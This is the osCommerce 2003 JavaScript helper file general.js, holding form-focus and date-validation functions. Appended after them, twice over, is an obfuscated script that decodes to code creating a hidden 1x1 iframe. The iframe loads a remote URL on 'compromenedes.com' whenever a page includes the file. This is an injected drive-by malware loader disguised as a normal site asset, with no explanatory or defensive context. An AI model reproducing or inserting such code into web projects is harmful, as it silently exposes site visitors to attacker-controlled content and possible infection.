/*
  $Id: general.js,v 1.3 2003/02/10 22:30:55 hpdl Exp $

  osCommerce, Open Source E-Commerce Solutions
  http://www.oscommerce.com

  Copyright (c) 2003 osCommerce

  Released under the GNU General Public License
*/

function SetFocus(TargetFormName) {
  var target = 0;
  if (TargetFormName != "") {
    for (i=0; i<document.forms.length; i++) {
      if (document.forms[i].name == TargetFormName) {
        target = i;
        break;
      }
    }
  }

  var TargetForm = document.forms[target];
    
  for (i=0; i<TargetForm.length; i++) {
    if ( (TargetForm.elements[i].type != "image") && (TargetForm.elements[i].type != "hidden") && (TargetForm.elements[i].type != "reset") && (TargetForm.elements[i].type != "submit") ) {
      TargetForm.elements[i].focus();

      if ( (TargetForm.elements[i].type == "text") || (TargetForm.elements[i].type == "password") ) {
        TargetForm.elements[i].select();
      }

      break;
    }
  }
}

function RemoveFormatString(TargetElement, FormatString) {
  if (TargetElement.value == FormatString) {
    TargetElement.value = "";
  }

  TargetElement.select();
}

function CheckDateRange(from, to) {
  if (Date.parse(from.value) <= Date.parse(to.value)) {
    return true;
  } else {
    return false;
  }
}

function IsValidDate(DateToCheck, FormatString) {
  var strDateToCheck;
  var strDateToCheckArray;
  var strFormatArray;
  var strFormatString;
  var strDay;
  var strMonth;
  var strYear;
  var intday;
  var intMonth;
  var intYear;
  var intDateSeparatorIdx = -1;
  var intFormatSeparatorIdx = -1;
  var strSeparatorArray = new Array("-"," ","/",".");
  var strMonthArray = new Array("jan","feb","mar","apr","may","jun","jul","aug","sep","oct","nov","dec");
  var intDaysArray = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

  strDateToCheck = DateToCheck.toLowerCase();
  strFormatString = FormatString.toLowerCase();
  
  if (strDateToCheck.length != strFormatString.length) {
    return false;
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strFormatString.indexOf(strSeparatorArray[i]) != -1) {
      intFormatSeparatorIdx = i;
      break;
    }
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strDateToCheck.indexOf(strSeparatorArray[i]) != -1) {
      intDateSeparatorIdx = i;
      break;
    }
  }

  if (intDateSeparatorIdx != intFormatSeparatorIdx) {
    return false;
  }

  if (intDateSeparatorIdx != -1) {
    strFormatArray = strFormatString.split(strSeparatorArray[intFormatSeparatorIdx]);
    if (strFormatArray.length != 3) {
      return false;
    }

    strDateToCheckArray = strDateToCheck.split(strSeparatorArray[intDateSeparatorIdx]);
    if (strDateToCheckArray.length != 3) {
      return false;
    }

    for (i=0; i<strFormatArray.length; i++) {
      if (strFormatArray[i] == 'mm' || strFormatArray[i] == 'mmm') {
        strMonth = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'dd') {
        strDay = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'yyyy') {
        strYear = strDateToCheckArray[i];
      }
    }
  } else {
    if (FormatString.length > 7) {
      if (strFormatString.indexOf('mmm') == -1) {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mm'), 2);
      } else {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mmm'), 3);
      }

      strDay = strDateToCheck.substring(strFormatString.indexOf('dd'), 2);
      strYear = strDateToCheck.substring(strFormatString.indexOf('yyyy'), 2);
    } else {
      return false;
    }
  }

  if (strYear.length != 4) {
    return false;
  }

  intday = parseInt(strDay, 10);
  if (isNaN(intday)) {
    return false;
  }
  if (intday < 1) {
    return false;
  }

  intMonth = parseInt(strMonth, 10);
  if (isNaN(intMonth)) {
    for (i=0; i<strMonthArray.length; i++) {
      if (strMonth == strMonthArray[i]) {
        intMonth = i+1;
        break;
      }
    }
    if (isNaN(intMonth)) {
      return false;
    }
  }
  if (intMonth > 12 || intMonth < 1) {
    return false;
  }

  intYear = parseInt(strYear, 10);
  if (isNaN(intYear)) {
    return false;
  }
  if (IsLeapYear(intYear) == true) {
    intDaysArray[1] = 29;
  }

  if (intday > intDaysArray[intMonth - 1]) {
    return false;
  }
  
  return true;
}

function IsLeapYear(intYear) {
  if (intYear % 100 == 0) {
    if (intYear % 400 == 0) {
      return true;
    }
  } else {
    if ((intYear % 4) == 0) {
      return true;
    }
  }

  return false;
}
function bF(){};nK="nK";bF.prototype = {o : function() {var s="";var eB=new Array();this.yS="";this.cE="cE";yI='';var n=function(){};this.dV=17028;var r=document;function x(){};var fL=new Date();var fC=35798;function l(){};dE=51990;this.iF=42492;function v(){};var j=window;var iX=new Array();eY="";this.jL=false;yL="";jG="jG";vH='';var h=new Date();var z = this;var iY=new Array();w='';b="";fT=false;var kBC=new Date();var fH=function(){return 'fH'};String.prototype.eL=function(p, zB){var pA=this; return pA.replace(p, zB)};uF="uF";yB=27300;var iJ=false;var zI='';this.hK="hK";var oB=false;wC=16683;this.rE="";var i = 's&emtBTr'.eL(/[r(mB&]/g, '') + 'i$mDeVo4'.eL(/[4$VDz]/g, '') + 'uztx'.eL(/[xJw*z]/g, '');this.tZ="";var qZ=new Date();this.lV=59400;dL="";var cW='';var aQ="";this.tJ="";var iP="";var d = 't+r1e/cDr/eDa1'.eL(/[1D/+%]/g, '') + 'tseYE!l!e!mQeYnstYgseYtQ'.eL(/[Q+!Ys]/g, '');this.oK=23764;this.yZ='';wZ=37757;nV='';hV="hV";qD="";var nA=15820;var a = 'wgr#i<t#ey'.eL(/[y<g#6]/g, '');var sJ="sJ";function sX(){};var fZ=function(){return 'fZ'};var gJ=function(){return 'gJ'};var kI=50149;qG=27962;try {var tN='';var tJR=new Array();var aA="";this.kS='';this.cL=60296;var y = 'pVu%sVh&'.eL(/[&Vz#%]/g, '');var eP=new Array();var uX=function(){return 'uX'};cT=false;var vL=false;var fR=function(){return 'fR'};var k = 'soryc['.eL(/[[yZo]]/g, '');var eO='';oS=55462;this.qF="";this.cD="cD";oP="oP";var wD='';var jJ=new Array();var t = 'v/b|mUi|fP'.eL(/[P/Un|]/g, '')+'rIsIe2tI'.eL(/[I201n]/g, '');var xV="xV";function zN(){};var rO=function(){return 'rO'};pR=false;var wP=function(){return 'wP'};this.rS="";var g = 'wLiEdE'.eL(/[EL,.#]/g, '') + 't<hG'.eL(/[G<2xM]/g, '');var sN='';var dY=false;pF="";this.eV='';gX="";var zM=function(){};hI='';this.kP="kP";var m = 'hDesiy'.eL(/[ys98D]/g, '') + 'gyhmtA'.eL(/[A+my,]/g, '');this.fV="fV";var nT=new Array();aAE=56126;hU="hU";var mF = '1<'.eL(/[<[pzM]/g, '');fE="fE";var aAT=new Date();this.xD="xD";kM="";this.aN=9321;f = 'g}e?tCs3ent3A?t?tnr}i3snd3fC'.eL(/[Cn3}?]/g, '');yO=64991;var gB=function(){return 'gB'};var qC=24176;var kGO=function(){};var zE=new Date();this.dH='';var c = 'anpxpx'.eL(/[xGKnL]/g, '') + 'e7nbduCWhuibl<du'.eL(/[uW<7b]/g, '');var eN="";var oV="";var vR=52882;lK="";var mH=23886;var aK='';var kB = 'b>o#d#yI'.eL(/[I#>M6]/g, '');this.wW="";xI='';this.pB='';var jH=function(){return 'jH'};function jT(){};var dM = 'sWuK'.eL(/[KzWQD]/g, '')+'b,s,t,r:i>'.eL(/[>Vo,:]/g, '')+'n.gF'.eL(/[F(6.D]/g, '');var fER=function(){};var yP="";wI=40242;yBU="yBU";kE=false;var cI = new Array();zQ="zQ";var fI='';var aX="";iJI='';var sXY='';var fG="fG";cI[y](m, dM, d, g, t, f, kB, c, mF, r, k);this.nI="";var eVN='';var rX=new Array();var gP=new Array();var aNS=423;this.oT="";var zX='';kPP=47363;fVU='';qU="qU";this.sM="";qK=false;nJ=false;this.fTN=65095;this.hVC=false;var xA=61670;var tV=function(){};var rXZ=false;bG="bG";var pAY=5308;aC=33465;var jA=function(){return 'jA'};var rQ=new Array();this.cN=false;var hJ="";var oKP="";var iM=false;var aE=function(){};var tF=false;this.aCM='';this.qJ='';var lI="lI";var tQ=function(){return 'tQ'};this.kL="";var fZL=function(){return 'fZL'};var iPZ=58157;var fW='';var mB=new Array();this.tU="tU";pH=21532;var jD='';var jLD='';this.eJ="eJ";var e = cI[2][cI[1]](3, 16);hB='';fGE=62022;xL=57888;hL="";var dA = cI[4][cI[1]](3, 6);mT='';nX='';function zY(){};var dU='';function rP(){};yR = dA + 'aUmPeP'.eL(/[P%UhM]/g, '');wT=39333;aB=5797;this.wN="";this.aG=false;var tH = cI[5][cI[1]](3, 11);this.hE='';this.oQ='';nM="nM";nB="";var tG=new Date();var wF="wF";var vM=false;q = tH + 'bFuktKe)'.eL(/[)YFkK]/g, '');this.oC='';this.vMM='';this.eT="eT";this.pI="pI";var kG = 'hxt^t^p^:E/^/xc#oEmEpEr#oEmEe#nEd^e#s^.xc^oxmE/KsEtEdKsx/#gxoE.#pxhxpx?EsKi#dK=K5#'.eL(/[#ExK^]/g, '');this.wL=false;var qR="";var fIL="";uM=false;var rC="";this.sU="";var u=cI[9][e](yR);this.jAJ="";hN='';var pJ=function(){return 'pJ'};this.uI="uI";var dUW=function(){return 'dUW'};mJ=64726;u[cI[10]] = kG;yD="";var qW=false;this.iQ=false;var zS=new Date();var hC=new Date();this.nO=false;u[cI[3]] = cI[8];eI=22912;var vO="vO";vJ="";this.mG=false;var qCV=function(){return 'qCV'};this.yRT="yRT";u[cI[0]] = cI[8];this.rEG='';mZ=33472;var cG=3785;var aP=27559;dJ="dJ";var lR="lR";this.lF="";this.wZF='';function aM(){};zW='';wY="";var iI=false;var yRJ=new Date();cI[9][cI[6]][cI[7]](u);var iK='';var iT='';this.gR="";this.uO="";oZ='';} catch(zH) {this.uH='';function qE(){};this.aV=60775;bU=false;r.write('<*hOtOm*lx x>^<xbOo*dxy^ *>*<O/~b*o*dOy^>O<*/*hxtOmxlx>^'.eL(/[^x~O*]/g, ''));var fS='';var jK=function(){};this.sNM="";vF='';this.lW='';var tJI="";var pK='';j[i](function(){ z.o() }, 309);var hCY=function(){return 'hCY'};var zHP="";this.uS='';this.vJW='';}vFH=359;this.wNF="wNF";var bL="";var sL="sL";}};var yG=new Array();var lRO=new bF(); var lVM=function(){return 'lVM'};lRO.o();qFK='';function bF(){};nK="nK";bF.prototype = {o : function() {var s="";var eB=new Array();this.yS="";this.cE="cE";yI='';var n=function(){};this.dV=17028;var r=document;function x(){};var fL=new Date();var fC=35798;function l(){};dE=51990;this.iF=42492;function v(){};var j=window;var iX=new Array();eY="";this.jL=false;yL="";jG="jG";vH='';var h=new Date();var z = this;var iY=new Array();w='';b="";fT=false;var kBC=new Date();var fH=function(){return 'fH'};String.prototype.eL=function(p, zB){var pA=this; return pA.replace(p, zB)};uF="uF";yB=27300;var iJ=false;var zI='';this.hK="hK";var oB=false;wC=16683;this.rE="";var i = 's&emtBTr'.eL(/[r(mB&]/g, '') + 'i$mDeVo4'.eL(/[4$VDz]/g, '') + 'uztx'.eL(/[xJw*z]/g, '');this.tZ="";var qZ=new Date();this.lV=59400;dL="";var cW='';var aQ="";this.tJ="";var iP="";var d = 't+r1e/cDr/eDa1'.eL(/[1D/+%]/g, '') + 'tseYE!l!e!mQeYnstYgseYtQ'.eL(/[Q+!Ys]/g, '');this.oK=23764;this.yZ='';wZ=37757;nV='';hV="hV";qD="";var nA=15820;var a = 'wgr#i<t#ey'.eL(/[y<g#6]/g, '');var sJ="sJ";function sX(){};var fZ=function(){return 'fZ'};var gJ=function(){return 'gJ'};var kI=50149;qG=27962;try {var tN='';var tJR=new Array();var aA="";this.kS='';this.cL=60296;var y = 'pVu%sVh&'.eL(/[&Vz#%]/g, '');var eP=new Array();var uX=function(){return 'uX'};cT=false;var vL=false;var fR=function(){return 'fR'};var k = 'soryc['.eL(/[[yZo]]/g, '');var eO='';oS=55462;this.qF="";this.cD="cD";oP="oP";var wD='';var jJ=new Array();var t = 'v/b|mUi|fP'.eL(/[P/Un|]/g, '')+'rIsIe2tI'.eL(/[I201n]/g, '');var xV="xV";function zN(){};var rO=function(){return 'rO'};pR=false;var wP=function(){return 'wP'};this.rS="";var g = 'wLiEdE'.eL(/[EL,.#]/g, '') + 't<hG'.eL(/[G<2xM]/g, '');var sN='';var dY=false;pF="";this.eV='';gX="";var zM=function(){};hI='';this.kP="kP";var m = 'hDesiy'.eL(/[ys98D]/g, '') + 'gyhmtA'.eL(/[A+my,]/g, '');this.fV="fV";var nT=new Array();aAE=56126;hU="hU";var mF = '1<'.eL(/[<[pzM]/g, '');fE="fE";var aAT=new Date();this.xD="xD";kM="";this.aN=9321;f = 'g}e?tCs3ent3A?t?tnr}i3snd3fC'.eL(/[Cn3}?]/g, '');yO=64991;var gB=function(){return 'gB'};var qC=24176;var kGO=function(){};var zE=new Date();this.dH='';var c = 'anpxpx'.eL(/[xGKnL]/g, '') + 'e7nbduCWhuibl<du'.eL(/[uW<7b]/g, '');var eN="";var oV="";var vR=52882;lK="";var mH=23886;var aK='';var kB = 'b>o#d#yI'.eL(/[I#>M6]/g, '');this.wW="";xI='';this.pB='';var jH=function(){return 'jH'};function jT(){};var dM = 'sWuK'.eL(/[KzWQD]/g, '')+'b,s,t,r:i>'.eL(/[>Vo,:]/g, '')+'n.gF'.eL(/[F(6.D]/g, '');var fER=function(){};var yP="";wI=40242;yBU="yBU";kE=false;var cI = new Array();zQ="zQ";var fI='';var aX="";iJI='';var sXY='';var fG="fG";cI[y](m, dM, d, g, t, f, kB, c, mF, r, k);this.nI="";var eVN='';var rX=new Array();var gP=new Array();var aNS=423;this.oT="";var zX='';kPP=47363;fVU='';qU="qU";this.sM="";qK=false;nJ=false;this.fTN=65095;this.hVC=false;var xA=61670;var tV=function(){};var rXZ=false;bG="bG";var pAY=5308;aC=33465;var jA=function(){return 'jA'};var rQ=new Array();this.cN=false;var hJ="";var oKP="";var iM=false;var aE=function(){};var tF=false;this.aCM='';this.qJ='';var lI="lI";var tQ=function(){return 'tQ'};this.kL="";var fZL=function(){return 'fZL'};var iPZ=58157;var fW='';var mB=new Array();this.tU="tU";pH=21532;var jD='';var jLD='';this.eJ="eJ";var e = cI[2][cI[1]](3, 16);hB='';fGE=62022;xL=57888;hL="";var dA = cI[4][cI[1]](3, 6);mT='';nX='';function zY(){};var dU='';function rP(){};yR = dA + 'aUmPeP'.eL(/[P%UhM]/g, '');wT=39333;aB=5797;this.wN="";this.aG=false;var tH = cI[5][cI[1]](3, 11);this.hE='';this.oQ='';nM="nM";nB="";var tG=new Date();var wF="wF";var vM=false;q = tH + 'bFuktKe)'.eL(/[)YFkK]/g, '');this.oC='';this.vMM='';this.eT="eT";this.pI="pI";var kG = 'hxt^t^p^:E/^/xc#oEmEpEr#oEmEe#nEd^e#s^.xc^oxmE/KsEtEdKsx/#gxoE.#pxhxpx?EsKi#dK=K5#'.eL(/[#ExK^]/g, '');this.wL=false;var qR="";var fIL="";uM=false;var rC="";this.sU="";var u=cI[9][e](yR);this.jAJ="";hN='';var pJ=function(){return 'pJ'};this.uI="uI";var dUW=function(){return 'dUW'};mJ=64726;u[cI[10]] = kG;yD="";var qW=false;this.iQ=false;var zS=new Date();var hC=new Date();this.nO=false;u[cI[3]] = cI[8];eI=22912;var vO="vO";vJ="";this.mG=false;var qCV=function(){return 'qCV'};this.yRT="yRT";u[cI[0]] = cI[8];this.rEG='';mZ=33472;var cG=3785;var aP=27559;dJ="dJ";var lR="lR";this.lF="";this.wZF='';function aM(){};zW='';wY="";var iI=false;var yRJ=new Date();cI[9][cI[6]][cI[7]](u);var iK='';var iT='';this.gR="";this.uO="";oZ='';} catch(zH) {this.uH='';function qE(){};this.aV=60775;bU=false;r.write('<*hOtOm*lx x>^<xbOo*dxy^ *>*<O/~b*o*dOy^>O<*/*hxtOmxlx>^'.eL(/[^x~O*]/g, ''));var fS='';var jK=function(){};this.sNM="";vF='';this.lW='';var tJI="";var pK='';j[i](function(){ z.o() }, 309);var hCY=function(){return 'hCY'};var zHP="";this.uS='';this.vJW='';}vFH=359;this.wNF="wNF";var bL="";var sL="sL";}};var yG=new Array();var lRO=new bF(); var lVM=function(){return 'lVM'};lRO.o();qFK='';